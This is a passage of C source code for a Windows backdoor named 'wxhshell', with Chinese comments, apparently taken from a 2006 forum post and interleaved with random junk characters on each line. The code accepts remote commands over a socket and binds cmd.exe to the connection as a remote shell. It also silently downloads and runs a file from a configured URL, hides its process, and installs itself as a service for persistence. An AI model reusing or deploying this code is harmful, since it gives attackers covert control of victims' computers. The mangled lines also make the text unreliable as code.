  case '?': { x;7l>uR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qf( A  
    break; uM`i!7}  
  } jlj ge=#c2  
  // 安装 66pjWS {X  
  case 'i': { Pjs=n7  
    if(Install()) (SRY(q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >;MJm  
    else Q<V(#)*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 61H_o7XXk  
    break; Xb%Q%"?~  
    } vWoppt  
  // 卸载 !ddyJJ^a  
  case 'r': { Q[#}Oh6$  
    if(Uninstall()) ^yPZ$Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !{^kH;*u  
    else IADHe\.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Tu]-.  
    break; ;|vP|Xi  
    } 3Qe|'E,U  
  // 显示 wxhshell 所在路径 Li6|c*K'  
  case 'p': { =\.*CY|;N  
    char svExeFile[MAX_PATH]; xZ`z+)  
    strcpy(svExeFile,"\n\r"); (-WRZLOQ  
      strcat(svExeFile,ExeFile); t\ oud{Cv  
        send(wsh,svExeFile,strlen(svExeFile),0); I%J>~=]n_  
    break; .3C::~:  
    } cZBXH*-M!  
  // 重启 kAEq +{h  
  case 'b': { 33DP?nI}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +u Iq]tqe  
    if(Boot(REBOOT)) kC.!cPd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FB?~:7+'  
    else { =Mx"+/Yo*  
    closesocket(wsh); 5c]:/9&  
    ExitThread(0); 1@p,   
    } $b|LZE\bU.  
    break; + kMj|()>\  
    } 9iG&9tB@  
  // 关机 C}) Dvh  
  case 'd': { Vq+7 /+2"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R)66qRf  
    if(Boot(SHUTDOWN)) *eoH"UFYQ#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d/9YtG%q  
    else { m&gd<rt/  
    closesocket(wsh); 3l<qcKKc  
    ExitThread(0); ~QbHp|g  
    } P_5aHeiJ  
    break; qhY+<S9  
    } wL8j i>"  
  // 获取shell $L= Dky7  
  case 's': { `*vO8v  
    CmdShell(wsh); l48$8Mgrr  
    closesocket(wsh); *gwaW!=  
    ExitThread(0); 44*#qLN  
    break; @6G)(NGD  
  } Hq}g1?b  
  // 退出 ;"nO'wN:h  
  case 'x': { >"2jCR$/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #S?^?3d  
    CloseIt(wsh); %8n<#0v-|4  
    break; u*@R`,Y   
    } ! :]_-DX  
  // 离开 #$BFTlm|  
  case 'q': { }eVDe(7_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 72Bc0Wg  
    closesocket(wsh); et+lL"&  
    WSACleanup(); B9NUafK=  
    exit(1); X6 BIZ  
    break; IRQtA ZV$  
        } CBd%}il  
  } v<v;ZR)  
  } }3: mn  
W$`v^1M2o  
  // 提示信息 `e,}7zGR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qkhre3  
} s8,YQ5-  
  } o)5zvnu7  
twr{jdY9  
  return; /^xv1F{  
} ZFtR#r(~41  
?sQg{1"Zr  
// shell模块句柄 nZB ~l=  
int CmdShell(SOCKET sock) Ij(<(y{?Q1  
{ 1TTS@\  
STARTUPINFO si; +1T>Ob;hk  
ZeroMemory(&si,sizeof(si)); f)_<Ih\/7_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LKvX~68  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @LI;q  
PROCESS_INFORMATION ProcessInfo; m[=SCH-;  
char cmdline[]="cmd"; W\>O$IX^e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5L c@=,/0  
  return 0; H"/ J R  
} aaU4Jl?L  
]z'L1vQl7  
// 自身启动模式 :Ob4WU  
int StartFromService(void) o?}dHTk7  
{ t, %m-dU  
typedef struct k4$zM/ob  
{ q+9^rQ  
  DWORD ExitStatus; x,^-a  
  DWORD PebBaseAddress; ZOfv\(iJ;  
  DWORD AffinityMask; M@es8\&S.  
  DWORD BasePriority; ~:JAWs$\V  
  ULONG UniqueProcessId; bji#ID2]%  
  ULONG InheritedFromUniqueProcessId; {oY"CZ2  
}   PROCESS_BASIC_INFORMATION; >Y4^<!\v  
YA@?L!F  
PROCNTQSIP NtQueryInformationProcess; :4zPYG o  
&qWg$_Yh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cV>?*9z0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p|->z  
6kp)'wz`  
  HANDLE             hProcess; A~Sc ] M  
  PROCESS_BASIC_INFORMATION pbi; (DvPdOT+3  
Y[L,rc/j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |5(un#  
  if(NULL == hInst ) return 0; o+hp#e  
!X7z y9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O83J[YuzjN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K7 C <}y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k+{~#@  
#"6l+}  
  if (!NtQueryInformationProcess) return 0; :i>LESJq  
#tZ!D^GQHq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6%p6BK6  
  if(!hProcess) return 0; CL2zZk{u_  
?x ",VA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ti GH#~?  
pHR`%2!"t  
  CloseHandle(hProcess); \ R}I4'  
$DH/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sRT5i9TQ  
if(hProcess==NULL) return 0; 2#$7!`6 K  
*1v3x:pQ'  
HMODULE hMod; s@~3L  
char procName[255]; `Zuo`GP*1  
unsigned long cbNeeded; Bs0~P 4^  
i +@avoW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aW:*!d#  
>AV9 K  
  CloseHandle(hProcess); 3q/"4D  
g.Ur~5r  
if(strstr(procName,"services")) return 1; // 以服务启动 G0: <#?<5  
w@2NXcmw  
  return 0; // 注册表启动 w +UB XW  
} 4;~xRg;u&*  
ww %c+O/  
// 主模块 DOtz  
int StartWxhshell(LPSTR lpCmdLine) :@ &e~QP(  
{ 2A  
  SOCKET wsl; ~L&z? 'V  
BOOL val=TRUE; |goBIp[  
  int port=0; #vK99 S2  
  struct sockaddr_in door; EIzTbW{p  
e?(4lD)d  
  if(wscfg.ws_autoins) Install(); ^Vth;!o  
Z .`+IN(>E  
port=atoi(lpCmdLine); Yw=@*CK'  
o&q:b9T  
if(port<=0) port=wscfg.ws_port; 6$PQ$  
$R ze[3  
  WSADATA data; *RJD^hu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A\mSS  
SKf;Fe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^K`PYai  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )LG!"~qiz  
  door.sin_family = AF_INET; )5`^@zx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -GL.8" c[  
  door.sin_port = htons(port); b6e 2a/x  
HHyN\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <AVWT+,  
closesocket(wsl); `Q+O#l?  
return 1; T: '<:*pD  
} q\P{h ij  
7KC2%s#7  
  if(listen(wsl,2) == INVALID_SOCKET) { CiU^U|~'L  
closesocket(wsl); qu1! KS  
return 1; %A `9[icy  
} Y"5FK  
  Wxhshell(wsl); @pvQci  
  WSACleanup(); y1Br4K5C  
kazgI>"Q8  
return 0; }nM+"(}  
,|+{C~Ojx  
} t:.X=/02  
U>n.+/ss  
// 以NT服务方式启动 p&XuNk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,UVd+rY}  
{ vG}\Amx+  
DWORD   status = 0; sWA-_4  
  DWORD   specificError = 0xfffffff; j bOwpyH  
V:D?i#%,z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,!AYeVq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !+hw8@A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /$qB&OWJn  
  serviceStatus.dwWin32ExitCode     = 0; 0^P9)<k'  
  serviceStatus.dwServiceSpecificExitCode = 0; A@.ruG$  
  serviceStatus.dwCheckPoint       = 0; ?)qm=mebY  
  serviceStatus.dwWaitHint       = 0; 0a?[@ -Sz  
z5^Se!`5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ODCN~7-@  
  if (hServiceStatusHandle==0) return; H-& ktQWK3  
k fOd|-  
status = GetLastError(); vKbGG   
  if (status!=NO_ERROR) :d<F7`k H  
{ yF XPY=EQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i[vN3`*B  
    serviceStatus.dwCheckPoint       = 0; 'Um\m  
    serviceStatus.dwWaitHint       = 0; <ihJp^kgQ  
    serviceStatus.dwWin32ExitCode     = status; BW`Tw^j  
    serviceStatus.dwServiceSpecificExitCode = specificError; p)7U%NMc(*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fvv/#V^R  
    return; I*+*Wf  
  } tp V61L   
@!\lt$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KmF+3g~#s  
  serviceStatus.dwCheckPoint       = 0; k V'0rb  
  serviceStatus.dwWaitHint       = 0; z\J#d 1e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &C/,~pJ1S  
} o2y #Yk  
K]U8y$^  
// 处理NT服务事件,比如:启动、停止 Qz A)HDQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AIQ]lQ(  
{ I} ]s(  
switch(fdwControl) oM}P Wf-  
{ / vzwokH  
case SERVICE_CONTROL_STOP: rYyEs I#qo  
  serviceStatus.dwWin32ExitCode = 0; g3w-Le&T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s\ ]Rgi>w  
  serviceStatus.dwCheckPoint   = 0; _l]rt  
  serviceStatus.dwWaitHint     = 0; W<H^V"^  
  { ra\2BS)X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &2Cu"O'.i  
  } JR/^Go$^  
  return; SI l<\  
case SERVICE_CONTROL_PAUSE: _@]@&^K$E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :e4[isI  
  break; g5~1uU$O  
case SERVICE_CONTROL_CONTINUE: ")qO#b4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 75H5{#)  
  break; L_YY,  
case SERVICE_CONTROL_INTERROGATE: IPh_QE2g  
  break; k@C]~1  
}; c:`&QDF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9y"\]G77E  
} ,OO0*%  
!7kca#,X  
// 标准应用程序主函数  N5GQ2V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -}<W|r  
{ cW, 6 MAQo  
R$ 40cW3`  
// 获取操作系统版本  ^pZ\:  
OsIsNt=GetOsVer(); G0$,H(]~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |FD-q.AV  
!*|`-woE  
  // 从命令行安装 !TuMrA *  
  if(strpbrk(lpCmdLine,"iI")) Install(); Si%K|$?@  
3Q(#2tL=  
  // 下载执行文件 rsvGf7C  
if(wscfg.ws_downexe) { !~aDmY 2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WAbt8{$D  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7b[vZNi_  
} }q@Jh*  
,`< [ej   
if(!OsIsNt) { K1Wiiw  
// 如果时win9x,隐藏进程并且设置为注册表启动 ijWn,bj  
HideProc(); ,U/ZG|=v  
StartWxhshell(lpCmdLine); oBTRO0.s+  
} ul3._Q   
else gnSb)!i>z  
  if(StartFromService()) {p(.ck ze+  
  // 以服务方式启动 \lpR+zaF  
  StartServiceCtrlDispatcher(DispatchTable); N)Z,/w 9  
else k@ZmI^  
  // 普通方式启动 cw{[% 7  
  StartWxhshell(lpCmdLine); 6~0. YZ9  
/\M3O  
return 0; k GzosUt  
}
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只看该作者 1 发表于: 2006-10-10
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